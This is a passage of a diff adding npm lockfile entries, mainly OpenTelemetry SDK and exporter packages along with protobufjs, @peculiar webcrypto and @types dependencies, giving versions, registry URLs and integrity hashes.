"sha512-iK/1nD7mmZVkuYjVjkdFBiCvzntJdFny1S3CYbUYyOq7V5enL6XX+gJ7eh965L1LnS11VA8mQ7Ej/ck04SB0MQ==", + "license": "Apache-2.0", + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/core": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.12.0.tgz", + "integrity": "sha512-1HsSAuvT4/my0QrXWsyXFdWjKaPeCHsismKZgEEIb8NK13LP6DrMRlsUbvD/0F9mDWK3xDom9AMv3IscxgOnOQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-grpc": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-grpc/-/exporter-logs-otlp-grpc-0.223.0.tgz", + "integrity": "sha512-O/ztY4A+NRi9bQm9Wlj9aCh2s1lbnkA8tcv+88crBMqas6YK8AnPvKXSms3Mn1nto4ylAIQAAxjtbzCMZjGvwg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-logs": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-http": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-http/-/exporter-logs-otlp-http-0.223.0.tgz", + "integrity": "sha512-YQh9+t/JmV9OeRkoLhPb4yvcrWCX6lAOmXFos/JKoD+KITZYZoxf0acnwAk6YDI9O7fX68O2ka38hx1G9exl8w==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-logs": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-proto/-/exporter-logs-otlp-proto-0.223.0.tgz", + "integrity": "sha512-wt33CkhmLfFDSRXNOABWQzVfks1PQvsRNIHqiY5Y5Hi6SiVF7iJYDTqpaUhbwcmyJYcB0LzBNvsic8GyufMxAA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-logs": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-grpc/-/exporter-metrics-otlp-grpc-0.223.0.tgz", + "integrity": "sha512-QneYDf2PWYAqmikS1/jeG8xCv0Q2EOSBm0RRM7IFU9zEnKLu7qxdlsz9t3YjxiAo7XzqfjTsJZys5qhYZAQ2PQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/exporter-metrics-otlp-http": "0.223.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-http/-/exporter-metrics-otlp-http-0.223.0.tgz", + "integrity": "sha512-hNC8yai/+xCNyTuiOy6JFepXXA/sb/2jCzQRY7c2cUWz6owaidihlHUpO20B9/dj8JKPNo8rcn7ikTy7Cj+JaQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-metrics": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-proto/-/exporter-metrics-otlp-proto-0.223.0.tgz", + "integrity": "sha512-DlwYBlqUVlAQqGXOES1K92b6FyHwB2phwcsccXEQhE9Mz1CAEymQgyRwbPKjCbpySZE1ASy2s9t2kIQ1pU/tmg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/exporter-metrics-otlp-http": "0.223.0", + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-prometheus": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-prometheus/-/exporter-prometheus-0.223.0.tgz", + "integrity": "sha512-HhbN3/B8vG+JNKH2oLMynFFrz2O/o+WFklfwiVq3ffdRWOEZx1zHeYe6r86fn9BUSpQ2U5cXfQja+otTdzi5qQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-metrics": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-grpc": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-grpc/-/exporter-trace-otlp-grpc-0.223.0.tgz", + "integrity": "sha512-gYDt98a44cvdbJNL+fFCFO7k7qSGaWGZAb6WUXGCKL0RiRhF96N6jlH4wXMzS1daZoV5AMHZZixjaLpQBMhpvA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-trace": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-http": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.223.0.tgz", + "integrity": "sha512-N8NWZaoQuF9e307S6xoVoI1lvxOOFkmBnynD42r02CPCfxoC95cJExAKBFrTD4C5iuhqthbzOZJN/W29ez4o/A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-trace": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-proto": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-proto/-/exporter-trace-otlp-proto-0.223.0.tgz", + "integrity": "sha512-hCFhPuROokNpwLibKmeMRuBNjPtbL+Ja5y/e/KBl5p3QcaH7xBjkj8roIGgKwCNJ4WChRLBzfoaNM3QksogfWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-trace": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-zipkin": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-zipkin/-/exporter-zipkin-2.12.0.tgz", + "integrity": "sha512-XfHO6VxPkVD/QaXqgppdHK2DTqmtHLH06ggslhm5hVYAS+dwD3okaeIyhxXBbhmWn9HhCYcv285eK1TgyF0wYQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-trace": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.0.0" + } + }, + "node_modules/@opentelemetry/instrumentation": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.223.0.tgz", + "integrity": "sha512-tttBo88TbwK1zpsH6VeJoxLQopxOjW3cnrP50fsQJRZftkSKDDwjolXXBvow2jy0LKXlNRkDQh0NT6yI/q+BEQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.223.0", + "import-in-the-middle": "^3.0.0", + "require-in-the-middle": "^8.0.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-exporter-base": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.223.0.tgz", + "integrity": "sha512-HlJMrJXjOqdQeoYNDHEvFTpaY2p9uWDK1GPl5AZ4wI5easzfoppTduOv47M8eiF+4ew42vfI/Xvt7THYgESnRw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/otlp-transformer": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-grpc-exporter-base": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-grpc-exporter-base/-/otlp-grpc-exporter-base-0.223.0.tgz", + "integrity": "sha512-62DuT9qzwFEFPq1aguQ+P6cWC4sJPwMxCj8wZ3Q+mH8LpPcV6zdv5gj1YtGIGZF5FcKt9JnDVraey0CEnu9MtQ==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/grpc-js": "^1.14.3", + "@opentelemetry/core": "2.12.0", + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-transformer": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.223.0.tgz", + "integrity": "sha512-oxmmPL5/MbSsO8K588V9n/XLIe7FZTK30Fo+/U/lAnt0ZIK/hoPM03n2WpSTZVbUBGTUE7aLyxnAzh7nE2PD4Q==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.223.0", + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-logs": "0.223.0", + "@opentelemetry/sdk-metrics": "2.12.0", + "@opentelemetry/sdk-trace": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/propagator-b3": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-b3/-/propagator-b3-2.12.0.tgz", + "integrity": "sha512-ktio0dVz2Uo83+EESOqMwqdJqoZKcf4EtmuG0mxddMKGbwN2Tignyq7JR9R7SBr1riwevitke+tpYQTMS/Fi0g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/propagator-jaeger": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-jaeger/-/propagator-jaeger-2.12.0.tgz", + "integrity": "sha512-Kz2Vz+NILW7S1WtN4rV1wr76fMtT/RRWvAMFBc91uTIi2dDMXxrfBKNe2KH7yaCfFp1X0xfAuabzuFczvoPB6A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/resources": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.12.0.tgz", + "integrity": "sha512-+rSRoOdln6NhXTVcBdHSlZxJDNzwxadeweK2ltZO3tVtfp6aklABc06xclDk6ovRR+EiGgIcSbh/6NgjFhnb3A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-logs": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.223.0.tgz", + "integrity": "sha512-ApiAfUiUh6fmJt1GbsBuoeDn8D8IL42UvGyPUr8o1Z89ZeIiOCE1rZ78KkIUjEX3OV8Oorl9ez5Qjo43ZynDyw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.223.0", + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.4.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-metrics": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.12.0.tgz", + "integrity": "sha512-mVMaEHwCUJuY3S4Esn+nT0yQA3qCEGh+SOPJsXygU0Gl453WcsDNjtEa8EfdewMwoLyr1tlofB4fXytVpiXuow==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-node/-/sdk-node-0.223.0.tgz", + "integrity": "sha512-PPfkgVBB9XVdANmSYeGfp1tG6RdsRFo9m9R6/ZnjvE9+TYTEXO2KYarsdtXQTdHhLSw7yzhSHqsNyUQ6c6W3eg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.223.0", + "@opentelemetry/configuration": "0.223.0", + "@opentelemetry/context-async-hooks": "2.12.0", + "@opentelemetry/core": "2.12.0", + "@opentelemetry/exporter-logs-otlp-grpc": "0.223.0", + "@opentelemetry/exporter-logs-otlp-http": "0.223.0", + "@opentelemetry/exporter-logs-otlp-proto": "0.223.0", + "@opentelemetry/exporter-metrics-otlp-grpc": "0.223.0", + "@opentelemetry/exporter-metrics-otlp-http": "0.223.0", + "@opentelemetry/exporter-metrics-otlp-proto": "0.223.0", + "@opentelemetry/exporter-prometheus": "0.223.0", + "@opentelemetry/exporter-trace-otlp-grpc": "0.223.0", + "@opentelemetry/exporter-trace-otlp-http": "0.223.0", + "@opentelemetry/exporter-trace-otlp-proto": "0.223.0", + "@opentelemetry/exporter-zipkin": "2.12.0", + "@opentelemetry/instrumentation": "0.223.0", + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.223.0", + "@opentelemetry/propagator-b3": "2.12.0", + "@opentelemetry/propagator-jaeger": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-logs": "0.223.0", + "@opentelemetry/sdk-metrics": "2.12.0", + "@opentelemetry/sdk-trace": "2.12.0", + "@opentelemetry/sdk-trace-base": "2.12.0", + "@opentelemetry/sdk-trace-node": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace/-/sdk-trace-2.12.0.tgz", + "integrity": "sha512-ImVuRQ6faOsTi1Wna88s2avgrrf/iDgXPigIeynkUhjstMuoQUDOJXgkez2j1mlU4btjXcXBGa+q7qKFYR3GsA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.12.0.tgz", + "integrity": "sha512-JOERgZCxRM06FEJ5kEWxlSRChah6MmXDx3KwCruqEv/iEyLkTokCSemf2y1w8oIHtfrr8EVTpzebq/31vn2Cpg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-trace": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-node": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.12.0.tgz", + "integrity": "sha512-9DufH1IlmQMoKAfot5y/FhTP1RnmhLb5K6eKmJO/bvzPjYwPAazoiAUbTZFdPbqxOXN0FEbhZx/e6SB1Og4jmg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/context-async-hooks": "2.12.0", + "@opentelemetry/core": "2.12.0", + "@opentelemetry/sdk-trace-base": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/semantic-conventions": { + "version": "1.43.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.43.0.tgz", + "integrity": "sha512-eSYWTm620tTk45EKSedaUL8MFYI8hW164hIXsgIHyxu3VobUB3fFCu5t0hQby6OoWRPsG1KkKUG2M5UadiLiVg==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@peculiar/asn1-schema": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/@peculiar/asn1-schema/-/asn1-schema-2.10.0.tgz", + "integrity": "sha512-GhokD41lV4gQrrLYm3wCkHfBOnJrnhDMgt4XeMW8gzfE1UdJqIuSwsE+ggf82XBjUXRJylcm+KIGQFa4utIVLw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@peculiar/utils": "^2.0.2", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@peculiar/json-schema": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/@peculiar/json-schema/-/json-schema-1.1.12.tgz", + "integrity": "sha512-coUfuoMeIB7B8/NMekxaDzLhaYmp0HZNPEjYRm9goRou8UZIC3z21s0sL9AWoCw4EG876QyO3kYrc61WNF9B/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@peculiar/utils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@peculiar/utils/-/utils-2.0.3.tgz", + "integrity": "sha512-+oL3HPFRIZ1St2K50lWCXiioIgSoxzz7R1J3uF6neO2yl1sgmpgY6XXJH4BdpoDkMWznQTeYF6oWNDZLCdQ4eQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/webcrypto": { + "version": "1.7.1", + "resolved": "https://registry.npmjs.org/@peculiar/webcrypto/-/webcrypto-1.7.1.tgz", + "integrity": "sha512-ODOov0sGMJMf3jPonOkgGqPknTsu+DdQ7kD++gz8aI+aFMOMHFbWAA2taqXXVTdP+OTOQR/znGvSpmkeI0WTYQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@peculiar/asn1-schema": "^2.7.0", + "@peculiar/json-schema": "^1.1.12", + "@peculiar/utils": "^2.0.2", + "tslib": "^2.8.1", + "webcrypto-core": "^1.9.2" + }, + "engines": { + "node": ">=14.18.0" + } + }, + "node_modules/@protobufjs/aspromise": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz", + "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/base64": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz", + "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/codegen": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.5.tgz", + "integrity": "sha512-zgXFLzW3Ap33e6d0Wlj4MGIm6Ce8O89n/apUaGNB/jx+hw+ruWEp7EwGUshdLKVRCxZW12fp9r40E1mQrf/34g==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/eventemitter": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.1.tgz", + "integrity": "sha512-vW1GmwMZNnL+gMRaovlh9yZX74kc+TTU3FObkkurpMaRtBfLP3ldjS9KQWlwZgraRE0+dheEEoAxdzcJQ8eXZg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/fetch": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.1.tgz", + "integrity": "sha512-GpptLrs57adMSuHi3VNj0mAF8dwh36LMaYF6XyJ6JMWlVsc+t42tm1HSEDmOs3A8fC9yyeisgLhsTVQokOZ0zw==", + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.1" + } + }, + "node_modules/@protobufjs/float": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz", + "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/path": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz", + "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/pool": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz", + "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/utf8": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.2.tgz", + "integrity": "sha512-b1UQwcEZ4yCnMCD8DAL1VlbvBJE9/IX4FTIp7BG1xYpf29SLazLSrqUkj4w7Y5y7cCVP6E5tcqqcI0xemPkHug==", + "license": "BSD-3-Clause" + }, + "node_modules/@sindresorhus/is": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz", + "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/is?sponsor=1" + } + }, + "node_modules/@szmarczak/http-timer": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", + "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", + "dev": true, + "license": "MIT", + "dependencies": { + "defer-to-connect": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@types/cacheable-request": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.3.tgz", + "integrity": "sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/http-cache-semantics": "*", + "@types/keyv": "^3.1.4", + "@types/node": "*", + "@types/responselike": "^1.0.0" + } + }, + "node_modules/@types/debug": { + "version": "4.1.13", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.13.tgz", + "integrity": "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/fs-extra": { + "version": "9.0.13", + "resolved": "https://registry.npmjs.org/@types/fs-extra/-/fs-extra-9.0.13.tgz", + "integrity": "sha512-nEnwB++1u5lVDM2UI4c1+5R+FYaKfaAzS4OococimjVm3nQw3TuzH5UNsocrcTBbhnerblyHj4A49qXbIiZdpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/http-cache-semantics": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", + "integrity": "sha512-L3LgimLHXtGkWikKnsPg0/VFx9OGZaC+eN1u4r+OB1XRqH3meBIAVC2zr1WdMH+RHmnRkqliQAOHNJ/E0j/e0Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/keyv": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", + "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "24.19.2", + "resolved": "https://registry.npmjs.org/@types/node/-/node-24.19.2.tgz", + "integrity": "sha512-93d49wCWJkCyN87MxLpNN6KXPCwFw7bVUg79mGUV1OS40JGWwVCr8n61DXCSqz7CV6/VfPkb7xec7uP2M+QHWQ==", + "license": "MIT", + "dependencies": { + "undici-types": ">=7.24.0 <7.24.7" + } + }, + "node_modules/@types/responselike": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.3.tgz", + "integrity": "sha512-H/+L+UkTV33uf49PH5pCAUBVPNj2nDBXTN+qS1dOwyyg24l3CcicicCA7ca+HMvJBZcFgl5r8e+RR6elsb4Lyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@xmldom/xmldom": { + "version": "0.8.15", + "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.8.15.tgz", + "integrity": 